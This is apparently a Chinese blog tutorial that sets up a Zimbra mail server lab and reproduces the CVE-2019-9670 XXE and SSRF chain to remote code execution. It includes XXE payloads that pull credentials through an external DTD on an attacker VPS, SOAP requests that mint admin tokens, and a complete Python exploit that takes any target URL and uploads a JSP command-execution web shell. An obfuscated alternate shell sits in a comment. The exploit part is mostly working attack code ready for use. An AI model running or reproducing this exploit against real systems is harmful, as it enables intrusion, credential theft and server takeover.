0%

'zimbra RCE环境搭建到复现再到exp编写'

环境搭建

首先准备个ubantu 14.04服务器,换个更新源,更新下
安装辅助包,执行以下命令来安装相应的包

1
apt-get install libgmp10 libperl5.18 unzip pax sysstat sqlite3 dnsmasq wget


配置hostname和DNS服务器

1
2
vi /etc/hostname
更改hostname为自己的域名,例如mail.test.com

1
2
vi /etc/hosts 添加如下代码
192.168.37.137(本机IP) mail.test.com mail

1
2
3
4
5
6
7
8
9
vi /etc/dnsmasq.conf 配置如下

server=192.168.37.137
domain=test.com
mx-host=test.com, mail.test.com, 5
mx-host=mail.test.com, mail.test.com, 5
listen-address=127.0.0.1
配置完成后重启电脑,sudo reboot
我这里是把它放在了519行,不过我感觉放哪儿都可以吧,2333


我已经提前下载好了Zimbra8.5.0版本,直接用finalshell托上去就行
也可使用命令下载8.6.0版本

1
wget https://files.zimbra.com/downloads/8.6.0_GA/zcs-8.6.0_GA_1153.UBUNTU14_64.20141215151116.tgz

1
2
3
cd进去之后执行./install然后一路按y,可能会报错
问题不大,删了就行
apt-get remove postfix


这里不需要zimbra-dnscache,因为我们上边使用的是dnsmasq,所以不需要此包
之后一路按y即可,安装可能需要些时间

可能会提示配置MX记录,no即可

1
2
3
DNS ERROR resolving MX for mail.test.com
It is suggested that the domain name have an MX record configured in DNS
Change domain name? [Yes] no

带星号的为必填,设置一下就OK

1
******* +Admin Password                        UNSET

设置好密码之后选25填写许可证,这里随便个/etc/passwd就行

1
Enter the name of the file that contains the license: /etc/passwd
1
2
3
4
5
6
*** CONFIGURATION COMPLETE - press 'a' to apply
Select from menu, or press 'a' to apply config (? - help) a
Save configuration data to a file? [Yes] yes
Save config in file: [/opt/zimbra/config.38577]
Saving config in /opt/zimbra/config.38577...done.
The system will be modified - continue? [No] yes

如果期间报错,直接回车即可
使用su - zimbra命令切换用户
zmcontrol status查看zimbra服务器状态

访问IP:7071端口,跳转zimbra管理页面

利用XXE+SSRF组合拳RCE复现

第一步,测试是否存在CVE-2019-9670 XXE漏洞

POST请求/Autodiscover/Autodiscover.xml

1
2
3
4
5
6
7
8
9
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>

第二步,读取zimbra用户账号密码

成功读到用户密码,说明XXE验证成功
接下来构造payload读zimbra的配文件localconfig.xml
由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取,由于XXE不能内部实体进行拼接,所以此处需要使用外部dtd:

1
2
3
4
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

POST请求/Autodiscover/Autodiscover.xml

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE Autodiscover [
<!ENTITY % dtd SYSTEM "http://公网服务器/dtd">
%dtd;
%all;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>

第三步,利用获取到的密码获取低权限token

POST请求/service/soap或/service/admin/soap

1
2
3
4
5
6
7
8
9
10
11
12
13
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAccount">
<account by="adminName">zimbra</account>
<password>上一步得到密码</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>

第四步,利用SSRF漏洞通过proxy接口,访问admin的soap接口获取高权限Token

POST请求/service/proxy?target=https://127.0.0.1:7071/service/admin/soap
我这里可能环境有问题,没有使用SSRF直接请求/service/admin/soap即可获取高权限token

注意:
Host:后面加端口7071
Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN,值为上面请求所获取的token
发送同上Body内容,但是AuthRequest的xmlns要改为:urn:zimbraAdmin,否则获取的还是普通权限的Token

第五步,利用高权限token传文件getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

file= {
'filename1':(None,"whocare",None),
'clientFile':("sunian.jsp",r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>',"text/plain"),
'requestId':(None,"12",None),
}
headers ={
"Cookie":"ZM_ADMIN_AUTH_TOKEN=0_eb68a2a147c98c6d0c2257d7638c4f1256493b28_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313539323733343831303035313b61646d696e3d313a313b747970653d363a7a696d6272613b7469643d393a3433323433373532323b",#改成自己的admin_token
"Host":"foo:7071"
}
r=requests.post("https://192.168.37.137:7071/service/extension/clientUploader/upload",files=file,headers=headers,verify=False)
print(r.text)


虽然执行报错了,但是不影响
shell地址:https://192.168.37.137:7071/downloads/sunian.jsp

exp的编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#coding=utf8
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
base_url=sys.argv[1]
base_url=base_url.rstrip("/")
#利用request模块来发包和接受数据,sys模块用来传参,并删除最右侧的/斜杠

filename = "sunian.jsp"
fileContent = r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>'
#fileContent = r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%>'
#可使用第11行bypass
print(base_url)
#请自己在公网放置dtd文件
dtd_url="http://VPS-IP/exp.dtd"
"""
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
"""
xxe_data = r"""<!DOCTYPE Autodiscover [
<!ENTITY % dtd SYSTEM "{dtd}">
%dtd;
%all;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>""".format(dtd=dtd_url)

#XXE stage
headers = {
"Content-Type":"application/xml"
}
print("[*] Get User Name/Password By XXE ")
r = requests.post(base_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=15)
#print r.text
if 'response schema not available' not in r.text:
print("don't have xxe")
exit()

#low_token Stage
import re
pattern_name = re.compile(r"&lt;key name=(\"|&quot;)zimbra_user(\"|&quot;)&gt;\n.*?&lt;value&gt;(.*?)&lt;\/value&gt;")
pattern_password = re.compile(r"&lt;key name=(\"|&quot;)zimbra_ldap_password(\"|&quot;)&gt;\n.*?&lt;value&gt;(.*?)&lt;\/value&gt;")
username = pattern_name.findall(r.text)[0][2]
password = pattern_password.findall(r.text)[0][2]
#print(username)
#print(password)

auth_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="{xmlns}">
<account by="adminName">{username}</account>
<password>{password}</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
"""

#print("[*] Get Low Privilege Auth Token")

#72行路径可能为/service/soap
r=requests.post(base_url+"/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False)

pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")

low_priv_token = pattern_auth_token.findall(r.text)[0]

#print(low_priv_token)

# SSRF+Get Admin_Token Stage

headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_priv_token+";"
headers["Host"]="foo:7071"
#print("[*] Get Admin Auth Token By SSRF")
#r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)
r = requests.post(base_url+"/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)
#若86行无法使用请使用85行

admin_token =pattern_auth_token.findall(r.text)[0]
#print("ADMIN_TOKEN:"+admin_token)

f = {
'filename1':(None,"whocare",None),
'clientFile':(filename,fileContent,"text/plain"),
'requestId':(None,"12",None),
}

headers ={
"Cookie":"ZM_ADMIN_AUTH_TOKEN="+admin_token
}
print("[*] 木马地址")
r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)
#print(r.text)
print(base_url+"/downloads/"+filename)

#print("[*] Request Result:")
s = requests.session()
r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers)
#print(r.text)
print("[*] 管理员cookie")
print(headers['Cookie'])

演示exp运行以及不使用cookie访问木马地址的情况

参考链接
https://www.jianshu.com/p/722bc70ff426
https://blog.csdn.net/weixin_40709439/article/details/90136596
https://blog.csdn.net/weixin_41732430/article/details/89054473